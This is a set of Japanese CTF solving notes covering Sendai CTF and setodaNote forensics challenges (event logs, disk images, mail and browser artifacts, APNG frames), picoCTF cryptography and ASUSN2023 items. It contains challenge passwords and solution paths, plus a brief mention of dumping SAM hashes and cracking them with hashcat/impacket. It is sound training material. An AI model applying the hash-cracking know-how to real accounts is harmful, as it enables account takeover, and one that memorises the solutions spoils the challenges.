ということで、いくつかの抽出されたアーティファクトが渡された。イベントログを確認しろということが補足から感じる。でも、ログインしたものを見つけるのだろうか?SANSのやつを確認したら、security.evtxを確認したい。(イベントログ解析ツールのあれこれ)、(Windowsイベントログのファストフォレンジックツール Chainsaw)、(Windowsイベントログ解析ツール「Hayabusa」を使ってみる)を見ながら、hayabusaを用いて解析してみる。GUIで操作したいが有料版しかなさそう。やはりhayabusaでCSVにしたのちにコマンドで解析していこうと思う。ルールベースでもできるようなので機会があれば。cat output.csv | grep 46244624のイベントIDがログオンを表しているようなのでそこで絞った。cat output.csv | grep 4624|grep RDPRDPで接続しているのでそこで絞り、時間で考えたら一つに絞られる。

Lab3.不審ダウンロード

100 [問題] ・開発用サーバに不正ログインした攻撃者は、Windows標準コマンドでインターネットから不審ファイルをダウンロードしたようです。イベントログを解析し、不審ファイルのURLを特定してください。

[フラグ] 不審ファイルのURL(半角) 例: http://abc.example.com/malware.exe

[問題ファイル名] Lab02.zip(Lab02と同じ問題ファイル) [補足]  イベントログは以下フォルダに格納されています。  Lab02\Windows\System32\winevt\Logs

[ZIPファイルのパスワード] 40991EF9BE481647DB82A5F2E7266840
不審ファイルをインターネットからダウンロードしたようだ。どのイベントログを見たらよいのかわからん。(イベントログ一覧)これはすごくいい資料。しかし、イベントIDで検索してもいいものが出てこない。
そこで、ディレクトリ自体でいっぺんに解析して"http"で検索したら一件出てきた。入力したら正解。んー、腑に落ちない。(仙台CTF 2019 Lab3.不審ダウンロード 100)ほかの人の方法を見た。

Lab4.マルウェア解析練習1

100 [問題] ・練習用不審プログラムを解析し、不審プログラムがダウンロードするファイル名(保存先のフルパス)を特定してください。

[フラグ] 不審プログラムがダウンロードするファイル名(保存先のフルパス) 例: C:\work\list.txt

[問題ファイル名] Lab04.zip

[ZIPファイルのパスワード] 7A83747D8BEA2DE215845AB8C182D3A8
ということで、exeファイルを渡された。stringsしたらそれっぽいパスあり。入力。正解。

Lab5.マルウェア解析練習2

100 [問題] ・練習用不審プログラムを解析し、不審プログラムが動作する年月を特定してください。(特定の年月以外に起動された場合、何も処理せずに終了します。)

[フラグ] 不審プログラムが動作する年月(yyyy/mm、半角) 例: 2019/11

[問題ファイル名] Lab05.zip

[ZIPファイルのパスワード] FC7993EEB7FC27A724F8D06B0B987711
ここから解析続き。また今度。

setodaNote CTFらいとっぷ(フォレンジックの旅)

はじめに

フォレンジック特にディスクイメージ解析をあほほど解きたくなって探した末に見つけたsetodaNoteCTFを解きたいと思いました。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。フォレンジックをメインにやっていこおうと思っています。また、研究室の友人や海外のctfプレイヤーがgithub上でwriteupを公開しているので、そちらをやってみたいとも思いますので、githubにチャレンジするかもしれません。

開閉

morse_one

30 友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。
ということで、何かしらのzipファイルを渡された。解凍して出てきたファイルを解析していく。

└─# file morse_one.txt
morse_one.txt: ASCII text, with no line terminators
└─# strings morse_one.txt
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB

という感じ。なかなかに意味不明。morseがモールスのようだ。モールス信号に関係しているのかな?(モールス符号)を参考にした。4拍の組み合わせでメッセージを伝えるものなのかな。でも、37音が送られているのはひっかかる。でも、・、ー、 、の三つを表していると考えられる。わからないのでまた今度。

paint_flag

50 要調査対象者の端末からあるファイルを押収することに成功しました。どうやら外部の協力者に機密データを送ろうとしたようです。組織内の監視網をかいくぐるため、一見すると機密データが含まれていなかのように加工がされているようです。ファイルを解析して機密データを取得してください。

添付されたファイルを解析し、フラグを入手してください。
unzipするとwordファイルを渡された。

└─# file paint_flag.docx
paint_flag.docx: Microsoft Word 2007+

拡張子と実際の形式に違いはない。実行して開くのは怖いので、どう解析していきましょうか。unzipしてみましょうか。

└─# unzip paint_flag.docx
Archive:  paint_flag.docx
  inflating: docProps/app.xml
  inflating: docProps/core.xml
  inflating: word/document.xml
  inflating: word/fontTable.xml
  inflating: word/media/flag.png
  inflating: word/media/image1.png
  inflating: word/settings.xml
  inflating: word/styles.xml
  inflating: word/theme/theme1.xml
  inflating: word/webSettings.xml
  inflating: word/_rels/document.xml.rels
  inflating: [Content_Types].xml
  inflating: _rels/.rels

flag.pngというものがある。怪しい。見たら答えあり。終了。道のりはわかりやすい問題でした。

Mail

50 あなたはメールデータの調査を依頼されました。組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとしてコピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。

添付されたファイルを解析し、フラグを得てください。
ということでまずはunzip。

└─# unzip mail_0805f895cca0c713b0fa499b1671d4948bae4172.zip
Archive:  mail_0805f895cca0c713b0fa499b1671d4948bae4172.zip
   creating: ImapMail/
   creating: ImapMail/mail.setodanote.net/
  inflating: ImapMail/mail.setodanote.net.msf
  inflating: ImapMail/mail.setodanote.net/Archives.msf
  inflating: ImapMail/mail.setodanote.net/Drafts.msf
  inflating: ImapMail/mail.setodanote.net/filterlog.html
  inflating: ImapMail/mail.setodanote.net/INBOX
  inflating: ImapMail/mail.setodanote.net/INBOX.msf
  inflating: ImapMail/mail.setodanote.net/Junk.msf
 extracting: ImapMail/mail.setodanote.net/msgFilterRules.dat
  inflating: ImapMail/mail.setodanote.net/Sent-1
  inflating: ImapMail/mail.setodanote.net/Sent-1.msf
  inflating: ImapMail/mail.setodanote.net/Sent.msf
  inflating: ImapMail/mail.setodanote.net/Templates.msf
  inflating: ImapMail/mail.setodanote.net/Trash.msf

ImapMailというものが渡された。

知識(ImapMail)
ImapMail (IMAP と POP とは何ですか。)を参考にした。「IMAP を使用すると、任意のデバイスから、どこにいてもメールにアクセスできます。」ということのようだ。

また、.msfファイルが目立つ。これは何だ。

知識(msfファイル)
msfファイル (拡張子「.msf」のファイルとは?開く方法をご紹介!)を見た。「Mozilla Thunderbirdのインデックスファイル」だそうです。

インデックスにめぼしい情報がなさそうなので、そのほかのファイルを見ていく。└─# cat Sent-1をしたらアカリとステラのやり取りが載っていた。

Content-Type: application/x-zip-compressed;
 name="kimitsu.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="kimitsu.zip"

その中でkimitsu.zipというものを添付している模様。
この記述ののちに以下のような文字列から始まる超絶長い文字列がある。

UEsDBBQAAAAIAEKk8lIYGu97DhgHAG8YBwALAAAAZ29vZGpvYi5wbmdUumN3JUy0Rrtj27Zt

これをcyberchefに投げると

base64エンコードされているが、PKというマジックんばんばーが見える。つまり、zipの内容がそこに書かれているようだ。これを抽出しないといけないのかな?厳しい。がやるしかない。Sent-1を編集して、base64エンコードされてる部分だけのファイルを作り、└─# strings Sent-1.txt | tr -d '\n' | base64 -d > kimitsu.zipとすると

└─# file kimitsu.zip
kimitsu.zip: Zip archive data, at least v2.0 to extract, compression method=deflat

しっかり、zipファイルが完成する。あとはそれをunzipすると

└─# unzip kimitsu.zip
Archive:  kimitsu.zip
  inflating: goodjob.png

怪しいpngファイルが手に入るので、それを見ればflagゲット。終了。

Deletedfile

80 そのファイルを削除した刹那、あなたはそれが誤りだったと悟ります。どうやら重要なファイルが削除されてしまったようです。あなたはディスクのイメージファイルの入手に成功しました。削除されてしまったファイルを復元し、窮地を脱してください。

添付されたファイルを解析し、フラグを得てください。
念願のディスクイメージをいただいた。解析解析。

└─# file deletedfile.raw
deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors

windows7のデータのようだ。

└─# mmls deletedfile.raw
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Safety Table
001:  -------   0000000000   0000000127   0000000128   Unallocated
002:  Meta      0000000001   0000000001   0000000001   GPT Header
003:  Meta      0000000002   0000000033   0000000032   Partition Table
004:  000       0000000128   0000016511   0000016384   Basic data partition
005:  -------   0000016512   0000020479   0000003968   Unallocated
└─# fsstat deletedfile.raw -o 128
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: FAT12

FAT12ファイルシステムを使っているようだ。調べたらいろいろ学べそうだが、sutopsyにぶち込んだら。復元されている削除したファイルが見つかったので、終了。

Timeline

100 君はタイムライン機能を知っているかね。ベンチに腰かけた老紳士がこちらに向かって話しかけてきます。あまり使われてはいないようだがね。老紳士はそう話を続けながら正面に向き直りため息をつきます。だが、完全に消えてしまう前にどんなアーティファクトであったか確かめてみてもいいとは思わんかね。そういって老紳士は1枚のディスクをあなたに手渡すと、静かに去っていきました。どうやらディスクを解析する必要があるようです。

添付のファイルを解析し、フラグを入手してください。

└─# unzip timeline_12296f199f1eb1c6d327a469af6b8e4fd8b83374.zip
Archive:  timeline_12296f199f1eb1c6d327a469af6b8e4fd8b83374.zip
   creating: C/
   creating: C/Users/
   creating: C/Users/stella/
   creating: C/Users/stella/AppData/
   creating: C/Users/stella/AppData/Local/
   creating: C/Users/stella/AppData/Local/ConnectedDevicesPlatform/
   creating: C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/
  inflating: C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db
  inflating: C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-shm
  inflating: C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-wal

ということで、Cドライブの中をもらったような感じ。一番下の階層にあるActivitiesCache.dbについての記事があった。

知識(タイムライン(ActivitiesCache.db))
タイムライン(ActivitiesCache.db) (Windowsタイムライン(ActivitiesCache.db)の解析方法)を参考にした。ActivitiesCache.dbを解析することで、「端末上でどんな操作が行われたか」を知ることができるようだ。

何かしらのツールで解析する方が良いようなことが書かれていた。一応、ActivitiesCache.dbはSQLiteDBなので、それを解析するツールでもできそうな気はするが。WindowsTimeline parserを使ってみる。

読み込んだ。よく見ていると}.txtというものがメモ帳で作られている。flagのにおい。下に見ていくとflagを分割してファイル名にしているようだ。CUIでまとめてみる。WxTCmdを使ってもcsvにするだけなので、それならWindowsTimeline parserで見た方が自身は好きかも。CUIならdbファイルをそのままstringsすればよい気がする。時間変化を気にするならWxTCmdもいいのかもしれない。CUIでいい感じに抽出しようとしたができなので手打ちしてflagゲット。

browser_db

100 調査対象者のパソコンから Web ブラウザの情報を取得しました。ファイルを解析して調査対象者が怪しい行動をしていないか調査するのが今回のあなたの仕事です。

添付されたファイルを解析し、フラグを得てください。
stella_9s84jetw.default-release_places.sqliteというファイルを与えられた。

└─# file stella_9s84jetw.default-release_places.sqlite
stella_9s84jetw.default-release_places.sqlite: SQLite 3.x database, user version 54, last written using SQLite version 3035004, page size 32768, writer version 2, read version 2, file counter 2, database pages 37, cookie 0x1f, schema 4, UTF-8, version-valid-for 2

SQLite 3.x databaseらしい。strings stella_9s84jetw.default-release_places.sqlite | grep flagで出てきたflagを入力したら正解だった。本来の解き方はwriteupを見るとしよう。

MFT

100 内部告発によりある要員が極秘情報をファイルサーバからダウンロードしていることが判明しました。組織は要員の身柄を抑え、端末から証拠となるデータを抽出しました。今回のあなたの仕事は、端末から抽出したデータを解析し、ダウンロードされた極秘情報のファイル名を特定することです。組織からは極秘情報のダウンロードされた日時が 2021-07-18 18:30頃 であることと、ファイルサイズが 465030 であることのみが伝えられています。

添付ファイルを解析し、極秘情報のファイル名を特定してください。例えばファイル名が file.txt の場合は flag{file.txt} と回答してください。
ということで$MFTが渡された。ここでMFTについておさらい。(マスターファイルテーブルとは【用語集詳細】)から

マスターファイルテーブル(Master File Table、MFT)は、Windowsが採用しているNTFS(NT File System)において、システム内に存在するすべてのファイルに関する場所、物理上の位置、メタデータ(作成日、更新日、アクセス日など)を保存したレコードファイルです。

ファイルデータが入っているようだ。MFTExplorerで見ていく。が、今回はファイルサイズや日時が与えられているのでタイムライン解析した方がよいと考えた。仙台CTFの解説をもとにMFTECmd.exeとmactimeを用いて解析する。(仙台CTF2018 セキュリティ技術競技会(CTF))。まずはtimeline Exporerでざっと見る。ファイルサイズで検索した方が速そうなのでファイルサイズで検索。

そうするとそれっぽいファイルが見つかった。終了。

tkys_another_day

100 無事でいてくれているだろうか。あなたは後輩の端末に残されていたある画像ファイルが気になっています。作成された日付は音信不通となる前日。ファイルは作りかけなのか、断片的な情報しか表示されません。もしかすると後輩の消息についての重要な手がかりが隠されているのではないか。あなたはファイルを詳しく解析することにしました。

添付されたファイルを解析し、フラグを入手してください。
pngデータが渡された。

文字が脱落している。復元させるのが目標なのかな?

└─# file tkys_another_day.png
tkys_another_day.png: PNG image data, 640 x 480, 8-bit/color RGBA, non-interlaced
└─# binwalk tkys_another_day.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 640 x 480, 8-bit/color RGBA, non-interlaced
99            0x63            Zlib compressed data, best compression
5808          0x16B0          Zlib compressed data, best compression
10651         0x299B          Zlib compressed data, best compression
10718         0x29DE          Zlib compressed data, best compression
12661         0x3175          Zlib compressed data, best compression

stringsコマンドしてもそこまでヒントはなかった。zlibがこんなに入っているのかと思うが、pngにzlibはそこまでおかしくはない。(aperisolve.com)に入れてみる。APNG Assembler 2.91というのが気になった。stringsしても見えていた。

知識(APNG)
APNG (GIFアニメからAPNGの時代に!次世代画像形式APNGを使いこなそう)を参考にした。「APNG(エーピング)とはアニメーションするPNG画像のことで、アニメーションGIFに取って代わる次世代の新しい画像形式です。」ということで動画みたいなものらしい。だからzlibが複数あったのだろうか?
└─# exiftool tkys_another_day.png
ExifTool Version Number         : 12.65
File Name                       : tkys_another_day.png
Directory                       : .
File Size                       : 13 kB
File Modification Date/Time     : 2021:07:25 16:47:40+00:00
File Access Date/Time           : 2024:03:31 06:40:05+00:00
File Inode Change Date/Time     : 2024:03:31 06:35:43+00:00
File Permissions                : -rw-r--r--
File Type                       : APNG
File Type Extension             : png
MIME Type                       : image/apng
Image Width                     : 640
Image Height                    : 480
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Animation Frames                : 5
Animation Plays                 : inf
Warning                         : [minor] Text/EXIF chunk(s) found after APNG IDAT (may be ignored by some readers)
Software                        : APNG Assembler 2.91
Image Size                      : 640x480
Megapixels                      : 0.307

アニメーションフレームが5あるのは5枚入っているということかな?調べてみるとdisアセンブラもあるようだ。してみると5枚出てきた。2,4にflagの断片あり。入力したら終了。exiftool も観てみるのはいいかもしれない。

MESSAGE

120 仕事を終えて帰宅の途につくあなた。人通りの少ない住宅街を通り過ぎ、自宅のマンションにたどり着きます。ちょうど部屋のドアの前に立った時に手に持っていた携帯が鳴りメールを受信したことを伝えます。

件名:これが最後の警告だ

そのメールには画像が添付されていました。  

添付されたファイルを解析し、フラグを得てください。

└─# file lo3rs1tkd.jpg
lo3rs1tkd.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x959, components 3

JPGファイルが渡された。
aperisolve.comにぶち込む。あんまりいいものが見つからない。画像解析は苦手じゃ。

CSIRT_asks_you_01

150 組織内のインシデント対応部署から急ぎ解析してほしいとの依頼が舞い込みました。不正侵入が確認された端末の Windows イベントログの調査で、状況把握のために侵害に関する詳細な日時を確認してほしいということのようです。

今回のあなたの仕事は送られてきたファイルを解析し、不正な方法によってネットワーク経由のログインが成功したことを示している最初の記録日時(TimeCreated SystemTime) と Event ID を特定することです。

フラグは UTC での記録日時 を yyyy/mm/dd_hh:mm:ss 形式にし、最後に Event ID をアンダースコアでつなげた形で答えてください。例えば 記録日時 が 2020/01/10 7:05:13.9234567Z 、Event ID が 1234 の場合は flag{2020/01/10_07:05:13_1234} となります。記録日時は UTC+0 で回答することに注意してください。
ということで、Security.evtxを渡された。hayabusaを用いて解析していく。(Windowsイベントログ解析ツール「Hayabusa」を使ってみる)を見ながらCSVファイルにする。不正なログインが成功したことを示すものを探しに行く。イベントIDから探すのがよさそう。4624のログイン成功や4625のログイン失敗をもとに探していく。4625のログイン失敗は2回ほど大量にログとして残っている。これは不正アクセスが行われた証拠なのだろうか?

大量の4625の中に4624が記録されたのが一か所だけある。これによって総当たり攻撃のようなものが成功したことが分かる。ここがflagだと思う。見ているtimeスタンプはUTC+9であることに注意すること。終了。

unallocated_space

150 「こりゃ今夜は帰れそうにないな」同僚がそう言いながらハードディスクやUSBメモリが大量に詰まった箱をどさっとデスクに置きます。すべてある組織で使用されていたもので本来は破壊処理されるはずが、不正に利益を得ようとした人物が仲介したことにより、破壊処理されずに中古市場に出回ってしまったもののようです。今日が記念日だという同僚を早く帰すため、あなたはディスクの解析調査を手伝うことにしました。復元可能なデータがないか確認してください。

添付されたファイルを解析し、フラグを入手してください。

└─# file unallocated_space
unallocated_space: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x23303fcc

渡されたのは何かのディスクイメージのようだ。mmlsは反応なし。autopsyに代入してみる。難しそう。少し後回し。

CSIRT_asks_you_02

200 組織内のインシデント対応部署から引き続き急ぎ解析してほしいとの依頼を受けています。

一つ目の解析依頼(CSIRT_asks_you_01)の結果と別の証拠などから、あるアカウントのパスワードが脆弱である可能性が示唆されています。添付されたファイルを解析し、そのパスワードを特定してください。

フラグはアカウント名とパスワード(平文)をアンダースコアでつないで回答してください。例えばアカウント名が user 、パスワードが pass の場合は flag{user_pass} と回答します。

ということで、samとsecurity、systemのファイルを渡された。

└─# file SAM.LOG1
SAM.LOG1: MS Windows registry file, NT/2000 or above

LOGという拡張子はレジストリ情報のようだ。
あまりやみくもに探しても時間がかかるので、(インシデント対応へのフォレンジック 技法の統合に関するガイド)を参考にパスワードを探していく。
まずSAMについて

パスワード。ほとんどの OS は、ユーザのパスワードに対応するパスワードハッシュをディスク上に保持している。Windows システムでは、サードパーティ製のユーティリティを使ってSAM(Security Account Manager)データベースからパスワードハッシュをダンプできる。UNIX システムでは、通常、/etc/passwd ファイルまたは/etc/shadow ファイルにパスワードハッシュが格納されている。4.3.2 項で説明したように、パスワードクラッキングプログラムを使ってパスワードハッシュからパスワードを抽出できる。

と書いてあった。もしかしたらハッシュからパスワードを復元するのかな?(Windows のユーザー名、パスワードを復元 : hashcat, impacket)。そのような復元のサイトもある。

PicoCTFのらいとあっぷみたいなやつ。(Cryptographyの旅)

はじめに

picoCTFに取り組んで行くときの考えていたことを書き記す。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。自身の持っているPCのスペックではdocker環境でCTFを行えないので、colab上でできそうなcryptographyをやってみようと思いました。

開閉

[2024/01/21]

Mind your Ps and Qs

In RSA, a small e value can be problematic, but what about N? Can you decrypt this? values 与えられたファイルには以下のことが書かれていた。

Decrypt my super sick RSA:
c: 964354128913912393938480857590969826308054462950561875638492039363373779803642185
n: 1584586296183412107468474423529992275940096154074798537916936609523894209759157543
e: 65537

RSAなのでnを素因数分解したいが、自作のプログラムでは時間がかかりすぎる。
今までに大きな数の素因数分解を行うサイトがあることを知っているので、そこで行う。 (factordb) というわけで入力したらすぐに出てきた。

ここからdの求め方やcが大きいので乗算していくのが難しいとか思ってwriteUp見てしまった。
(picoCTF2021 [Cryptography] writeup)
つまり、dを求めるのはモジュロ逆数を求めること、messageはpow関数で行えるそうだ。(powに時間がかかると思ったがそんなことはありませんでした。)モジュロ逆数を求める方法は上記writeUpとは違い、pow関数で行えるようだったのでそこで行った。  

c= 964354128913912393938480857590969826308054462950561875638492039363373779803642185
n= 1584586296183412107468474423529992275940096154074798537916936609523894209759157543
e= 65537
p = 2434792384523484381583634042478415057961
q = 650809615742055581459820253356987396346063

pq = (p-1)*(q-1)
d = pow(e,-1,pq)
m = pow(c,d,n)

ここでmは数値列として出力されたがどのように文字に変換すればよいのかについて考えていた。
(CryptoHack "INTRODUCTION TO CRYPTOHACK")さんのBytes and Big Integersのところに書いてあることを参考にしたが、やはり文字コードを用いて変換するようであるが、実際どれを用いるのかはわからず。PyCryptodomeをpipして、from Crypto.Util.number import long_to_bytesをインポートして使いました。flagゲット。

考察 今回やって思ったのが、プログラムを組むのは絶対条件として、サイトやツールを用いることも大いに大切である。素因数分解はプログラムでは不可能に近い。文字に変換するのもプログラムでやったら一発なので、経験していきながら適切な方法を学んでいきたい。

The Numbers

The numbers... what do they mean?として画像が渡された。

{}があるので考えられるのは{の前がpicoCTFを表しているように思った。数字を文字に変換するコードさえわかれば後は変換するだけ。よくよく考えていたらCの位置に3がある。つまり、アルファベット順という可能性がある。対応させていったら終了。
(picoCTF2019 The Numbers [Cryptography])この人のwriteUpではツールが利用されていた。

caesar

Decrypt this message.と書かれていたpicoCTF{ynkooejcpdanqxeykjrbdofgkq}という文字が与えられている。一応入力。incorrectですよね。中身をシーザー暗号で復号すればいいと考え、(DenCode)を用いて復号した。可読できる文字列まで数値を変えて行い、それっぽいのが出てきたら終了。

13

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}と書かれている。
ROT13はアルファベットを13順進めて変換させるものだと理解している。(DenCode)プログラムを組んでもいいと思いますが、ツールを使いました。 修了。

interencdec

Can you get the real meaning from this file. Download the file here.
ファイルが与えられた。

└─# cat enc_flag
YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclgyZzBOMm8yYXpZNWZRPT0nCg==

どう見てもbase64っぽい。cyberchefにぶち込む。

ということでb``で囲まれた中にまたbase64である。そこを抽出してデコード。

flagっぽい形にはなったがまだ一工夫欲しているようだ。でも、この感じカエサル暗号だったかrot13のような感じに似ている気がする。rot13のRotate Number を19にするといい感じになった。終了。

Custom encryption

Can you get sense of this code file and write the function that will decode the given encrypted file content. Find the encrypted file here flag_info and code file might be good to analyze and get the flag.
ということで、特殊な暗号化を行うプログラムが渡されている。それを解読する。

from random import randint
import sys


def generator(g, x, p):
    return pow(g, x) % p

powはgxした後にpで割り算した余りを返すようだ。

def encrypt(plaintext, key):
    cipher = []
    for char in plaintext:
        cipher.append(((ord(char) * key*311)))
    return cipher

(Pythonのord関数の使い方を現役エンジニアが解説【初心者向け】)を参考にすると、

ord関数とはPythonで文字をUnicode値に変換する関数です。

つまり、ord('a')=97, char(97) = aとなる。 つまり、平文をUnicodeにして、それとkey*311をした数値列を返すようだ。

def is_prime(p):
    v = 0
    for i in range(2, p + 1):
        if p % i == 0:
            v = v + 1
    if v > 1:
        return False
    else:
        return True

素数判定かな。

def dynamic_xor_encrypt(plaintext, text_key):
    cipher_text = ""
    key_length = len(text_key)
    for i, char in enumerate(plaintext[::-1]):
        key_char = text_key[i % key_length]
        encrypted_char = chr(ord(char) ^ ord(key_char))
        cipher_text += encrypted_char
    return cipher_text

enumerateは(Python, enumerateの使い方: リストの要素とインデックスを取得)を参考にすると、要素とともにインデックスも与えてくれる関数。plaintext[::-1]は(Pythonにおける [::-1] と言うのはどう言う意味ですか?)を参考にすると、[start:stop:step]だそうなので、[::-1]は後ろから先頭までを逆順に全部出力することになる。text_keyから一文字取ってきて、それと平文のunicodeをべき乗する。それを文字に直して暗号文(cipher_text)を再構成する。

def test(plain_text, text_key):
    p = 97
    g = 31
    if not is_prime(p) and not is_prime(g):
        print("Enter prime numbers")
        return
    a = randint(p-10, p)
    b = randint(g-10, g)
    print(f"a = {a}")
    print(f"b = {b}")
    u = generator(g, a, p)
    v = generator(g, b, p)
    key = generator(v, a, p)
    b_key = generator(u, b, p)
    shared_key = None
    if key == b_key:
        shared_key = key
    else:
        print("Invalid key")
        return
    semi_cipher = dynamic_xor_encrypt(plain_text, text_key)
    cipher = encrypt(semi_cipher, shared_key)
    print(f'cipher is: {cipher}')

randint(a,b)は(Pythonでランダムな小数・整数を生成するrandom, randrange, randintなど)はa以上b以下の範囲の整数を返す。これで生成される乱数が与えられるa,bである。これkeyとb_keyは同じですよね。鍵交換を想定しているのかな?そのあとdynamic_xor_encryptとencryptして終了。

if __name__ == "__main__":
    message = sys.argv[1]
    test(message, "trudeau")

引数に平文を置き、text_keyは "trudeau"であるようだ。 これを逆から計算できるようにして以下のコードとしたらflagゲット。

import sys

def decrypt(cipher,shared_key):
  semi_dec = ""
  for inte in cipher:
    semi_dec += (chr(int((inte/shared_key)/311)))
  return semi_dec

暗号化では掛け算されていたので割り算する。

def d_x_d(semi_dec, text_key):
  dec = ""
  key_length = len(text_key)

  for i, char in enumerate(semi_dec):
        key_char = text_key[i % key_length]
        flag = 0
        i=0
        while(flag ==0):
          if (i^ord(key_char) == ord(char)):
            decrypted_char = chr(i)
            flag =1
          else:
              i += 1
        dec = decrypted_char + dec
  return dec

べき乗の乗数と計算後の数値が与えられていたので、根を総当たりで求めた。

def generator(g, x, p):
    return pow(g, x) % p

a = 89
b = 27
text_key="trudeau"
cipher= [33588, 276168, 261240, 302292, 343344, 328416, 242580, 85836, 82104, 156744, 0, 309756, 78372, 18660, 253776, 0, 82104, 320952, 3732, 231384, 89568, 100764, 22392, 22392, 63444, 22392, 97032, 190332, 119424, 182868, 97032, 26124, 44784, 63444]
p = 97
g = 31
u = generator(g, a, p)
v = generator(g, b, p)
key = generator(v, a, p)
b_key = generator(u, b, p)
shared_key = None
if key == b_key:
     shared_key = key
else:
    print("Invalid key")
semi_dec = decrypt(cipher,shared_key)
plain = d_x_d(semi_dec, text_key)
print(plain)

として終了。

ここより下未解決

C3

This is the Custom Cyclical Cipher! Download the ciphertext here. Download the encoder here. Enclose the flag in our wrapper for submission. If the flag was "example" you would submit "picoCTF{example}".
ということで、これも先と同じ感じかな?プログラムと暗号文が渡された。

import sys
chars = ""
from fileinput import input
for line in input():
  chars += line

fileinputのinput()は(Python の fileinput モジュール便利)から引数のファイルから一行ずつ読み込む関数のようだ。つまり、最初の方はファイル読み込んだのをcharにつなげて一行にした感じ。

lookup1 = "\n \"#()*+/1:=[]abcdefghijklmnopqrstuvwxyz"
lookup2 = "ABCDEFGHIJKLMNOPQRSTabcdefghijklmnopqrst"

out = ""

何かしらを定義。

prev = 0
for char in chars:
  cur = lookup1.index(char)
  out += lookup2[(cur - prev) % 40]
  prev = cur

sys.stdout.write(out)

一行にした列から一文字ずつ取り出し、indexしている(Python 文字列の位置を取得する(find/index))。つまり、位置によって文字を数値に変えている。それに演算をした数値をlookup2のインデックスにしてそれが出力になる。prevは先のインデックスである。これを復号する。
一番最後の暗号化を考えたとき、lなので、最後の計算のoutはlになる。lookup2より31番目にある。つまり、(cur-prev)%40 =31である。これでcurを求めればファイルの最後の文字が分かるが、prevは前回のcurがないとわからない。機能的に最初のcurが分かるとどんどんわかる仕組みだと思った。%40があるのが気になる。(cur-prev)がマイナスになったときの処理と考えられる。以上のことを考えコードにすると以下になる。

cigher = "DLSeGAGDgBNJDQJDCFSFnRBIDjgHoDFCFtHDgJpiHtGDmMAQFnRBJKkBAsTMrsPSDDnEFCFtIbEDtDCIbFCFtHTJDKerFldbFObFCFtLBFkBAAAPFnRBJGEkerFlcPgKkImHnIlATJDKbTbFOkdNnsgbnJRMFnRBNAFkBAAAbrcbTKAkOgFpOgFpOpkBAAAAAAAiClFGIPFnRBaKliCgClFGtIBAAAAAAAOgGEkImHnIl"
lookup1 = "\n \"#()*+/1:=[]abcdefghijklmnopqrstuvwxyz"
lookup2 = "ABCDEFGHIJKLMNOPQRSTabcdefghijklmnopqrst"
dec = ""
prev = 0
for char in cigher:
  amari = lookup2.index(char)
  cur = amari + prev
  if (cur >= 40):
    cur = cur%40
  plain = lookup1[cur]
  dec +=plain
  prev = cur
print(dec)

実行すると

#asciiorder
#fortychars
#selfinput
#pythontwo

chars = ""
from fileinput import input
for line in input():
    chars += line
b = 1 / 1

for i in range(len(chars)):
    if i == b * b * b:
        print chars[i] #prints
        b += 1 / 1

何かしらのコードが出てきた。よくわからない。 writeUpを確認した( picoCTF 2024 - Writeup)。このコード自体を出力するコードが必要だったのですね。

ASUSN2023

ツイッターを見ていたらこのようなCTFが開催されているということで、やってみた。 できないことが多いですが頑張ります。

welcom

ようこそ

言わずもがな。いわれたとおりにやればOK

Misc

CPU標準時

CPUのオールナイトニッポンの冒頭で時刻を言っているけれど、これは日本標準時でいつのことだろう?

形式: YYYYMMDDHHMMSS CPU標準時というものを初めて聞いた。調べてみる。そうするとUNIX時間というものがあるようだ。

UNIX時間 とはコンピューターシステム上での時刻表現の一種。
(UNIX時間) 時刻を表示する関数があるが、時刻を計算するのにもさまざまなことが行われているようだ。
UNIX時間を日本時間にするツールを提供するサイトがあったので、やってみた。できた。

asusn.online

https://asusn.online というドメインを取得したらしい

今はYouTubeにリダイレクトされるが、リダイレクトされる前のページにFlagが隠されているとかいないとか......?
リダイレクト前のwebページのソースコードにflagがあると思い、管理者ツールを見ることにした。 管理者ツールからリダイレクトに関することを収集できるようなので見てみるが、ソースコードを表示できない。 どうすれば表示できるのかな?
(Webページをリダイレクトさせている箇所を調べる方法) Edgeでは開発ツールからソースコードが表示できなかったので、上のサイトからfirefoxを用いてソースコードを見た。
フラグが記載されていた。ゲット

管理徹底

画像が与えられて、そこに書いてある文字を入力するだけ。
でも、ホモグラフ攻撃のようで、文字を解釈するのが難しかったができた。

Crypto

